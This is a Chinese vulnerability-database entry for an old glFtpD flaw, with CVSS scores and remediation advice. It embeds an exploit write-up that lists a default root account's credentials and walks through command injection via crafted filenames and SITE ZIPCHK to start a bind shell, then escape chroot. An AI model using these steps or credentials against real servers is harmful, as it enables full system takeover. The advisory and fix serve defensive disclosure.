发布时间 :1999-12-23 00:00:00
修订时间 :2008-09-10 15:02:24

[原文]glFtpD includes a default glftpd user account with a default password and a UID of 0.


        glFtpD 中存在漏洞,该漏洞是一个默认glftpd用户帐户,有一个默认的密码和一个为0的UID。

- CVSS (基础分值)

CVSS分值: 7.5 [严重(HIGH)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)


- OVAL (用于检测的技术细节)


- 官方数据库链接
(官方数据源) MITRE
(官方数据源) NVD
(官方数据源) CNNVD

- 其它链接及资源

- 漏洞信息

高危 未知
1999-12-23 00:00:00 2005-10-20 00:00:00
        glFtpD 中存在漏洞,该漏洞是一个默认glftpd用户帐户,有一个默认的密码和一个为0的UID。

- 公告与补丁


- 漏洞信息 (19690)

GlFtpd 1.17.2 Remote Vulnerabilities (EDBID:19690)
unix remote
1999-12-23 Verified
0 suid
N/A [点击下载]

GlFtpd is a popular alternative to the mainstream unix ftp daemons and is currently in wide use on the internet. There are three known serious vulnerabilities in GlFtpd. The first problem is an account which is created by default upon installation of the software. The username and password for this account are both "gltftpd" and the uid is 0 (root). This account can only be used by users connecting from localhost. This is a problem because "local users" can log into a host's glftpd with root privileges (and compromise the entire system). The second problem is world writeable ~/site directory. The last problem is the possibility to execute arbitrary commands on the target host. Glftpd comes with a feature called ZIPCHK, which is a command sent to the ftpd to check the integrity of a zip file on the server remotely. ZIPCHK executes "unzip" on the file without validating the filename input. With a special filename such as " ; ls", it is possible to execute arbitrary commands as the uid of glftpd. 

Exploit Information:

	1) & 2) are traditionally bad. Problems are obvious. 

	3) This is quite simple a user need only have some place to upload files:

		- You will need to build some kind of backdoor to allow you access, using bindshell.c (again)

		$ gcc bindshell.c -o b -static
		- Create an empty file called " ; bash blah;"
		- Create an empty file called " ; unzip blah;"

		$ > " ; bash blah;"		

		- Create a script called "blah" : 

		$ cat > blah
		./b &

		- "ZIP" these files up. 
		$ zip blah b

		- Login to your FTP server. Now upload your files:

		ftp> put
		ftp> put " ; bash blah;"
		ftp> put " ; unzip;"

		- Because glFtpD attempts to convert spaces in filenames to underscores, youll need to rename
		  them back.
		ftp> quote rnfr "_;_bash_blah;"
		ftp> quote rnto " ; bash blah;"
		ftp> quote rnfr "_;;"
		ftp> quote rnto " ; unzip;"

		- Now run a ZIPCHK on the unzip one:

		ftp> quote SITE ZIPCHK " ; unzip;"
		- Hurray, now do a few ls commands till you get a file listing. Now run:

		ftp> quote SITE ZIPCHK " ; bash blah;"

		- glFtpD will spit out an error message. Ignore it. Now telnet to the port defined within

		- Once your on. If you attacked the glftpd account (or any uid = 0 account), you may now use simple chroot()
		  breaking techniques ( to have run of the entire box.

		- If you did not have a uid == 0 account. Youll probably be in a chroot environment and you 
		  dont really have a way out except to:

			- check /etc/passwd (really $GLFTPDHOME/etc/passwd)
			- Crack a uid == 0 passwd, maybe the glftpd account is still in there
			- Use your imagination.

Working Papers:

	See the spectacle at

Links:				-	Glftpd Home page		-	bindshell.c	-	Example attack


		^moo^, yowie, cr, duke, silvio, n1ck,
		w00w00, and last but not least ADM


- 漏洞信息

glFTPd Default Root Account
Remote / Network Access Authentication Management
Loss of Integrity Workaround
Exploit Public

- 漏洞描述

By default, glFTPd installs with a default password. The 'gltftpd' account has a password of 'gltftpd' which is publicly known and documented. This allows attackers to trivially access the program or system and gain privileged access.

- 时间线

1999-12-23 Unknow
1999-12-23 Unknow

- 解决方案

Immediately after installation, change all default installed accounts to use a unique and secure password. When possible, change default account names to custom names as well.

- 相关参考

- 漏洞作者

Unknown or Incomplete